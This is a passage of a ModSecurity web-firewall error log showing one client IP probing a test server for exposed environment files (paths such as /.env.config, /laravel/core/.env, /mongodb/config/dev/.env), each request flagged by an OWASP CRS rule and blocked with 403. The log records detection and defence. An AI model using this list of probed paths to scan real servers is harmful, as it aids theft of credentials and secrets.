&quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.config&quot;] [unique_id &quot;aG9fQG2HUGa5P2sipOw4iAAAAAE&quot;]
[Thu Jul 10 08:35:44.224921 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.config&quot;] [unique_id &quot;aG9fQG2HUGa5P2sipOw4iAAAAAE&quot;]
[Thu Jul 10 08:35:44.225163 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.config&quot;] [unique_id &quot;aG9fQG2HUGa5P2sipOw4iAAAAAE&quot;]
[Thu Jul 10 08:35:44.225352 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.config&quot;] [unique_id &quot;aG9fQG2HUGa5P2sipOw4iAAAAAE&quot;]
[Thu Jul 10 08:35:44.339732 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /new/.env.staging&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.staging&quot;] [unique_id &quot;aG9fQG2HUGa5P2sipOw4iQAAAAE&quot;]
[Thu Jul 10 08:35:44.339971 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.staging&quot;] [unique_id &quot;aG9fQG2HUGa5P2sipOw4iQAAAAE&quot;]
[Thu Jul 10 08:35:44.340201 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.staging&quot;] [unique_id &quot;aG9fQG2HUGa5P2sipOw4iQAAAAE&quot;]
[Thu Jul 10 08:35:44.441357 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_mail_server&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_mail_server&quot;] [unique_id &quot;aG9fQG2HUGa5P2sipOw4igAAAAE&quot;]
[Thu Jul 10 08:35:44.441638 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_mail_server&quot;] [unique_id &quot;aG9fQG2HUGa5P2sipOw4igAAAAE&quot;]
[Thu Jul 10 08:35:44.441832 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_mail_server&quot;] [unique_id &quot;aG9fQG2HUGa5P2sipOw4igAAAAE&quot;]
[Thu Jul 10 08:35:44.533891 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /roundcubemail/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/roundcubemail/.env&quot;] [unique_id &quot;aG9fQG2HUGa5P2sipOw4iwAAAAE&quot;]
[Thu Jul 10 08:35:44.534143 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/roundcubemail/.env&quot;] [unique_id &quot;aG9fQG2HUGa5P2sipOw4iwAAAAE&quot;]
[Thu Jul 10 08:35:44.534356 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/roundcubemail/.env&quot;] [unique_id &quot;aG9fQG2HUGa5P2sipOw4iwAAAAE&quot;]
[Thu Jul 10 08:35:48.696646 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /product/.env.staging&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/product/.env.staging&quot;] [unique_id &quot;aG9fRG2HUGa5P2sipOw4jAAAAAE&quot;]
[Thu Jul 10 08:35:48.697763 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/product/.env.staging&quot;] [unique_id &quot;aG9fRG2HUGa5P2sipOw4jAAAAAE&quot;]
[Thu Jul 10 08:35:48.698016 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/product/.env.staging&quot;] [unique_id &quot;aG9fRG2HUGa5P2sipOw4jAAAAAE&quot;]
[Thu Jul 10 08:35:48.797931 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /mongodb/config/dev/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mongodb/config/dev/.env&quot;] [unique_id &quot;aG9fRG2HUGa5P2sipOw4jQAAAAE&quot;]
[Thu Jul 10 08:35:48.798173 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mongodb/config/dev/.env&quot;] [unique_id &quot;aG9fRG2HUGa5P2sipOw4jQAAAAE&quot;]
[Thu Jul 10 08:35:48.798403 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mongodb/config/dev/.env&quot;] [unique_id &quot;aG9fRG2HUGa5P2sipOw4jQAAAAE&quot;]
[Thu Jul 10 08:35:48.868458 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /shop/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shop/.env&quot;] [unique_id &quot;aG9fRG2HUGa5P2sipOw4jgAAAAE&quot;]
[Thu Jul 10 08:35:48.868722 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shop/.env&quot;] [unique_id &quot;aG9fRG2HUGa5P2sipOw4jgAAAAE&quot;]
[Thu Jul 10 08:35:48.868903 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shop/.env&quot;] [unique_id &quot;aG9fRG2HUGa5P2sipOw4jgAAAAE&quot;]
[Thu Jul 10 08:35:49.017209 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/sdl-first/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/sdl-first/.env&quot;] [unique_id &quot;aG9fRW2HUGa5P2sipOw4kAAAAAE&quot;]
[Thu Jul 10 08:35:49.017497 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/sdl-first/.env&quot;] [unique_id &quot;aG9fRW2HUGa5P2sipOw4kAAAAAE&quot;]
[Thu Jul 10 08:35:49.017680 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/sdl-first/.env&quot;] [unique_id &quot;aG9fRW2HUGa5P2sipOw4kAAAAAE&quot;]
[Thu Jul 10 08:35:49.260295 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/core/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env&quot;] [unique_id &quot;aG9fRW2HUGa5P2sipOw4kwAAAAE&quot;]
[Thu Jul 10 08:35:49.260555 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env&quot;] [unique_id &quot;aG9fRW2HUGa5P2sipOw4kwAAAAE&quot;]
[Thu Jul 10 08:35:49.260749 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env&quot;] [unique_id &quot;aG9fRW2HUGa5P2sipOw4kwAAAAE&quot;]
[Thu Jul 10 08:35:49.390101 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docs/.env&quot;] [unique_id &quot;aG9fRW2HUGa5P2sipOw4lAAAAAE&quot;]
[Thu Jul 10 08:35:49.390388 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docs/.env&quot;] [unique_id &quot;aG9fRW2HUGa5P2sipOw4lAAAAAE&quot;]
[Thu Jul 10 08:35:49.390572 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docs/.env&quot;] [unique_id &quot;aG9fRW2HUGa5P2sipOw4lAAAAAE&quot;]
[Thu Jul 10 08:35:49.585646 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /developerslv/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/developerslv/.env&quot;] [unique_id &quot;aG9fRW2HUGa5P2sipOw4lQAAAAE&quot;]
[Thu Jul 10 08:35:49.585909 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/developerslv/.env&quot;] [unique_id &quot;aG9fRW2HUGa5P2sipOw4lQAAAAE&quot;]
